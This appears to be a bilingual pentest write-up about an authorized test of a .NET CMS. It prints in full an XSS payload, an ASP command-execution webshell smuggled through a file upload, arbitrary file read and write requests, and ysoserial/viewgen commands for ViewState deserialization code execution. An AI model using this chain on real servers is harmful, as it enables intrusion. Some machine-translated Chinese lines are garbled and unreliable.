魔术订婚的故事

MAGIC订婚故事 (Tale of a MAGIC engagement)

During the last year I was engaged by my company to pentest an application for one of our customers in the financial field. Basically the application was built on top of a custom CMS developed by a third party company who sells the application as a service to our customer (and others). The application is developed in .NET and it’s used to manage data related to a company physical assets such as offices etc. It was a grey box testing so creds were provided by our customer and the company who hosts the application was informed that we were starting the pentest. As in every engagement, on its start I got that really-don’t-know-what-to-expect feeling but it quickly became clear.

在过去的一年中,我受公司聘用,为我们在金融领域的一位客户提出申请。 基本上,该应用程序是在第三方公司开发的自定义CMS之上构建的,该公司将应用程序作为服务出售给我们的客户(和其他客户)。 该应用程序是在.NET中开发的,用于管理与公司实物资产(如办公室等)有关的数据。这是一个灰箱测试,因此我们的客户提供了信誉,托管该应用程序的公司被告知我们正在启动渗透测试。 像每次参与一样,一开始我就得到了一种不知道该期待什么的感觉,但是很快就变得清晰起来。

第一次尝试 (First Try)

The application presents a classic admin dashboard that allows you to query for different data and visualize them them, a profile page etc. During the usual recoinnassance as a regular user, I was able to understand that the backend exposes some APIs used to solve different tasks so I collected the endpoints for later usage and inspection. While browsing I smelled bugs here and there and obviously I decided to start from the profile page that has a jQuery upload handler and a lot of input boxes to mess with.

该应用程序展示了一个经典的管理仪表板,可让您查询不同的数据并将其可视化,例如个人资料页面等。在以普通用户的身份进行常规确认期间,我能够理解后端公开了一些用于解决不同任务的API所以我收集了端点,以供以后使用和检查。 在浏览时,我闻到了一些臭虫,很显然,我决定从具有jQuery上传处理程序和很多输入框的个人资料页面开始。

This was the obvious first try in the first input box appeared……………. name=<script>alert('XSS VULNERABILITY HERE')</script>:

这是出现在第一个输入框中的显而易见的第一次尝试………………。 name=<script>alert('XSS VULNERABILITY HERE')</script>

Image for post
:(
:(

Ok. While it’s always a good start for an engagement finding/exploiting a stored XSS that requires anything more than a POST request and a ready made payload, the totally absence of any form of input filtering/encoding on the first page you browse could be an indicator of what you’re facing.

好。 尽管这对于寻找/利用存储的XSS始终是一个好的开始,而这个存储除了需要POST请求和现成的有效载荷外,还需要其他任何东西,但是在您浏览的第一页上完全没有任何形式的输入过滤/编码可能是一个指标面对的一切

魔术 (The MAGIC)

I decided to stay on the profile page and start to play with the upload handler (while my hackin9th sense is telling me that I will have to pass a bit of time on writing the report — which, however, is a thing that I really love ndr.). After another couple of minutes I managed to exploit an unrestricted file upload vulnerability using the avatar upload handler on the profile page. Looking at the javascript function used for the upload I started to guess that the file format validation was performed only by the frontend using a whitelist of allowed extensions... And, unfortunately for my customer, it was. Basically, just by intercepting the HTTP request, we can manipulate the filename and it’s extension bypassing the frontend controls. Sweet… It sounds like mid ’00, isn’t it?

我决定留在个人资料页面上,开始使用上载处理程序( 虽然我的hackin9th告诉我,我将不得不花一些时间来编写报告,但是,这是我真正喜欢的事情ndr。 )。 又过了几分钟,我使用个人资料页面上的头像上传处理程序设法利用了不受限制的文件上传漏洞。 在查看用于上传的javascript函数时,我开始猜测文件格式验证仅是由前端使用允许的扩展名白名单执行的...不幸的是,对我的客户而言,它是。 基本上,仅通过拦截HTTP请求,我们就可以绕过前端控件来操纵文件名及其扩展名。 甜蜜……听起来像是00年代中期,不是吗?

I took a .NET webshell from the Kali webshells, renamed it to testws.jpg and I fired up the interceptor to catch the request and change all the extensions:

我从Kali testws.jpg了一个.NET testws.jpg ,将其重命名为testws.jpg然后启动了拦截器以捕获请求并更改所有扩展名:

POST /api/MAGIC_SAVEFILE/SaveApplication HTTP/1.1
Host: [redacted].it
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [redacted].it/app
Content-Length: 1510
Content-Type: multipart/form-data; boundary=---------------------------29769763617072910071766184548
Cookie: ASP.NET_SessionId=unkpodlt0e22wc4cweeogkmc; .ASPXAUTH=EC27AE846917833F9922650E3E5E4285BF75948E4401E9E55B2A327F2D7E1F27485[REDACTED]F5F945AE5966E0D3430D068296E60A298BE9C9857BFFFD68E3DB26D4F0E69DB93E3A4B6933B45DD2
Connection: close
-----------------------------29769763617072910071766184548
Content-Disposition: form-data; name="fileNames"
{"1.asp":"testws.asp"}
-----------------------------29769763617072910071766184548
Content-Disposition: form-data; name="ui"; filename="1.asp"
Content-Type: application/*
<!--
PT
-->
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>
<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>
-----------------------------29769763617072910071766184548--

This response is served:

提供此响应:

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Date: Mon, 21 Oct 2019 15:10:15 GMT
Connection: close
Content-Length: 125
"[\r\n {\r\n \"name\": \"testws.asp\",\r\n \"tmpFile\": \"BodyPart_1a7e4a01-8e59-48e7-a852-b06fac804748\"\r\n }\r\n]"

At this point I guessed that the application saved the content of the uploaded file in a temp file file named BodyPart_GUID somewhere in the filesystem. So I tried to bruteforce the previously found directories on the webserver in the hope to retrieve my file and get an easy and clean code execution with no luck. Shouldn’t be that easy, should it?

在这一点上,我猜测应用程序将上载文件的内容保存在文件系统中某个名为BodyPart_GUID的临时文件中。 因此,我尝试暴力破解Web服务器上先前找到的目录,以期检索我的文件并获得简单,干净的代码执行而没有运气。 应该不是那么容易吗?

魔术继续…… (The MAGIC continues…)

I decided to look through the proxy history to find if the tmpFile param or the BodyPart_ part of the string appears somewhere. While looking at the history, I saw that burp saved a bunch of API calls under the MAGIC_SAVEFILE endpoint, and the function that instantly popped up to my attention was the following:

我决定仔细查看代理历史记录,以查找tmpFile参数或字符串的BodyPart_部分是否出现在某处。 在查看历史记录时,我看到burp在MAGIC_SAVEFILE端点下保存了一堆API调用,并且立即引起我注意的功能如下:

POST /api/MAGIC_SAVEFILE/ManageUploadedFiles HTTP/1.1
Host: [redacted].it
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [redacted].it/app
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 182
Cookie: ASP.NET_SessionId=unkpodlt0e22wc4cweeogkmc; .ASPXAUTH=EC27AE846917833F9922650E3E5E4285BF75948E4401E9E55B2A327F2D7E1F27485BB97[REDACTED]945AE5966E0D3430D068296E60A298BE9C9857BFFFD68E3DB26D4F0E69DB93E3A4B6933B45DD2
Connection: close
{"filesToSave":[{"name":"testws.asp","tmpFile":"BodyPart_1a7e4a01-8e59-48e7-a852-b06fac804748","savePath":"/Views/AccountImages","adminAreaUpload":false}],"filesToDelete":[]}

So we can control name, tmpFile, savePath and adminAreaUpload keys, we now just have to figure out what’s their purpose, here’s the response:

因此,我们可以控制nametmpFilesavePathadminAreaUpload密钥,现在我们只需要弄清楚它们的目的是什么,这是响应:

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Date: Mon, 21 Oct 2019 15:35:30 GMT
Connection: closeContent-Length: 0

Empty.

空的

I tried to call [redacted].it/Views/AccountImages/testws.asp and [redacted].it/Views/AccountImages/BodyPart_GUID with no luck at all ‘cause both served a 404. After messing a bit with name, tmpFile and savePath I started to lose confidence that I would be able to only report a medium for the unrestricted file upload but wait… what’s the purpose of the adminAreaUpload key in the JSON sent before? It’s clearly a boolean so why not resend the request using a true ? Response was nothing more than a 200 OK like the first one. I gave a last chance before moving on and retried to call [redacted].it/Views/AccountImages/testws.asp and that’s what was served to me:

我试图调用[redacted].it/Views/AccountImages/testws.asp[redacted].it/Views/AccountImages/BodyPart_GUID [redacted].it/Views/AccountImages/testws.asp [redacted].it/Views/AccountImages/BodyPart_GUID没有运气,因为两者都提供了404 。 在将nametmpFilesavePath弄乱了一点之后,我开始失去了信心,我只能报告用于无限制文件上传的媒介,但是请稍候……以前发送的JSON中的adminAreaUpload键的目的是什么? 显然这是布尔值,为什么不使用true重新发送请求? 响应无非就是第一个200 OK。 在继续之前,我给了最后一次机会,然后尝试调用[redacted].it/Views/AccountImages/testws.asp ,这就是为我服务的内容:

Image for post
That good feeling…
好感觉

Impact escalated. At this point we have a stored XSS and an Unrestricted File Upload that leads to code execution as the serviceuser account. We sent a urgent note to our customer then I investigated further the issue, after playing around a bit it became clear that tampering with the savePath and adminAreaUpload parameters allows any authenticated user to write any file in any path of the webserver. Pretty much what it’s needed from an attacker point of view to implant a malware or from a bug hunter perspective to score a nice bounty but… hey! We’re pentesters, we have to find ALL the vulnerabilities we are able to identify before sending the report to the customer.

影响升级。 至此,我们已经存储了XSS和Unrestricted File Upload,该文件导致以serviceuser帐户的身份执行代码。 我们向客户发送了紧急通知,然后我进一步调查了此问题,经过一番尝试之后我们很明显地发现,篡改savePathadminAreaUpload参数允许任何经过身份验证的用户在Web服务器的任何路径中写入任何文件。 从攻击者的角度来看,植入恶意软件或从Bug猎人的角度来看,获得不错的赏金几乎是必需的,但是……嘿! 我们是渗透测试者,我们必须先找到能够识别的所有漏洞,然后再将报告发送给客户。

If you remember I told you that under the MAGIC_SAVEFILE endpoint that was a bunch of API calls… I chose to move on this one [redacted].it/api/MAGIC_SAVEFILE/GetFile?path= to test for a Local File Inclusion as the endpoint and parameter suggests. At this point, seeing the security measures in place (or the absence of ndr.), I was almost sure that this should not fail so I sent a simple GET request asking for the fullpath of the applicationHost config file which usually contains some juicy info:

如果您还记得我告诉过您,在MAGIC_SAVEFILE端点下是一堆API调用…我选择继续执行此[redacted].it/api/MAGIC_SAVEFILE/ GetFile?path=以测试是否包含本地文件作为端点和参数提示。 在这一点上,看到适当的安全措施( 或没有ndr。 ),我几乎确定这不会失败,所以我发送了一个简单的GET请求,询问applicationHost配置文件的完整路径,该文件通常包含一些有用的信息:

Image for post
A bunch of the software company customers
一堆软件公司的客户

最后的咒语 (The last spell…)

Here I understood that this is a shared host used by different customers of the third party company who sell this application as a service, and they have their infra all in-house so no cloud providers are involved. I’ll let you visualize the scenario if this was an infrastructural pt… At this point I have another shot to escalate the impact of the LFI trying to get another Code Execution abusing the deserialization of a malicious ViewState I’m able to forge. This is possible by grabbing the validationKey and decryptionKey that an attacker can use to forge a malicious ViewState:

在这里,我了解到这是由第三方公司的不同客户使用的共享主机,这些客户将该应用程序作为服务出售,并且他们的内部全部在内部,因此不涉及任何云提供商。 如果这是基础结构的点,我将让您可视化该方案。...在这一点上,我有另一种尝试来提升LFI的影响,试图使另一个代码执行滥用我能够伪造的恶意ViewState的反序列化。 通过抓住validationKey和decryptionKey,攻击者可以使用它们来伪造恶意的ViewState:

Image for post
MmmmachineKey tag…
MmmmachineKey标签…

Once understood the inner working, the steps to exploit a .NET deserialization having the validation and decryption keys are straightforward thanks to ysoserial.NET and ViewGen.

一旦了解了内部工作原理借助 ysoserial.NETViewGen即可轻松开发具有验证和解密密钥的.NET反序列化步骤。

Below the commands used to generate the payload…

在用于生成有效负载的命令下面…

ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "echo 1 > C:\users\serviceuser\desktop\rce.txt"

…and sign the ViewState:

…并签署ViewState:

./viewgen --vkey C50B3C89CB21F4F1422F[REDACTED]72A487D9401E3400267682B202B746511891C1BAF47F8D25C07F6C39A104696DB51F17C529AD3CABE --valg sha1 --dkey 8A9BE8FD67[REDACTED]0DD3D3799C77AF2B72F --dalg aes --modifier C2EE9ABB /wEy6REAAQAAAP8BAAAAA[redacted]eXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL

At this point I should have a valid ViewState and I could try to inject it e.g.during the login process:

此时,我应该有一个有效的ViewState,并且可以尝试在登录过程中注入它:

POST / HTTP/1.1
Host: [redacted].it
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [redacted].it/
Content-Type: application/x-www-form-urlencoded
Content-Length: 2757
Cookie: ASPSESSIONIDSWSTTDTT=AJEBPIFDLELPEOLDBJKFCKPF; ASP.NET_SessionId=[REDACTED]; .ASPXAUTH=75F026E84[REDACTED]A37C328136406F6E3BBE4227B709FC07F04F4CE1E9BE1259028FB2C8297E630D84F71C624
Connection: close
Upgrade-Insecure-Requests: 1
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEy6REAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAASVN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRy[REDACTED]EAAAAAgAAAAGGwAAAHFTeXN0ZW0uQ29tcGFyaXNvbmAxW1tTeXN0ZW0uU3RyaW5nLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQkMAAAACgkMAAAACRgAAAAJFgAAAAoL&__VIEWSTATEGENERATOR=C2EE9ABB&__EVENTVALIDATION=%2FwEdAAhz3aC9akOkmO%2FXO%2B9Vibd5JUPB4nc54boyvM%2FCb2CCEx3zn6%2FdfmCNl1YT9XP6RkfehWEn6OSVC2Fb30Otf1MOlJskE61YbGRizAGGXFljZew1RiU547%2BRrByf19fQGlYDM5ClQKno4sbP%2Bvjqlv%2FwD%2F4yor%2F2JhngDDEUqOBy9yyjW8YVYqDnnWvygxxGodM%2Fpqx4&actualFragment=&LoginUser%24UserName=ops&LoginUser%24Password=ops&LoginUser%24LoginButton=Login&UserNameRecovery=

Since this is a blind code injection I could used a collaborator server to catch a DNS lookup or a HTTP request to validate the vulnerability but I’ve choose to use the LFI to see if I was successfully able to write on C:\users\serviceuser\desktop\rce.txt (much quicker, shows impacts as well :)

由于这是盲代码注入,因此我可以使用协作服务器来捕获DNS查找或HTTP请求以验证漏洞,但我选择使用LFI来查看是否能够在C:\users\serviceuser\desktop\rce.txt上成功写入C:\users\serviceuser\desktop\rce.txt (更快,也显示了影响:)

GET /api/MAGIC_SAVEFILE/GetFile?path=C:\users\serviceuser\desktop\rce.txt HTTP/1.1
Host: [redacted].it
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [redacted].it/app
Cookie: ASP.NET_SessionId=[REDACTED]; .ASPXAUTH=EC27AE84691[REDACTED]5AE5966E0D3430D068296E60A298BE9C9857BFFFD68E3DB26D4F0E69DB93E3A4B6933B45DD2
Connection: closeHTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 4
Content-Type: text/plain
Expires: -1
Server: Microsoft-IIS/8.5
Set-Cookie: .ASPXAUTH=947895422188823807E0C09907836EE796DE868EDBA6DB78D9282CC3C5D1C315238293CE651C173[REDACTED]BBAE86BABFB8E785FBB88781C70CC9A2DED140015E5AFEA2867B404EC123E37FA60C918F; path=/; HttpOnly
Content-Disposition: inline; FileName="rce.txt"
X-AspNet-Version: 4.0.30319
X-Frame-Options: DENY
X-Xss-Protection: 1; mode=block
Date: Tue, 22 Oct 2019 15:48:16 GMT
Connection: close1

It’s unusual, these days, to pentest web applications like this one, because no security measures were implemented at any level, from the basics to the standard. It seemed that this small company who built this product doesn’t really know anything about secure design and development, but they’ve apparently solved a problem that allowed them to gain customers overtime. This was a grey box pentest in a prod environment and the authentication flow was implemented properly, every vulnerability I found, except for an open redirect, were exploitable only post authentication. Fortunately no security incidents happened before the pentest, so we tried (through the report) to instruct them on how to implement fixes for the bugs found (if destroying the entire product not in possibilities: while I’m sure that is always the best option in this scenarios: just_joking(); break) and they were grateful for the job done. Win-Win, hopefully they’ll choose to employ a couple of security engineers in their dev team.

如今,像这样的Web应用程序无法正常使用,是因为从基础到标准的任何级别都没有实施安全措施。 看起来这家生产该产品的小公司实际上对安全设计和开发一无所知,但是他们显然已经解决了使他们获得加班客户的问题。 在产品环境中,这是一个灰箱渗透测试,并且认证流程已正确实施,除开放重定向之外,我发现的每个漏洞仅在认证后才可利用。 幸运的是,在渗透测试之前没有发生安全事件,因此我们尝试(通过报告)指导他们如何对发现的错误进行修复(如果 不大可能 破坏整个产品 尽管我确信这始终是最好的)在这种情况下的选项:just_joking(); break) ,他们对完成的工作表示感谢。 双赢,希望他们会选择在他们的开发团队中雇用一些安全工程师。

I closed this report adding another Open Redirect and a nice SQL injection that leaded me to another… guess what… story.

我关闭了此报告,添加了另一个“打开重定向”和一个不错SQL注入,这使我想到了另一个……猜猜……故事。

Image for post

翻译自: https://medium.com/@fsec_60544/the-tale-of-a-magic-engagement-3e6e76707ac2

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值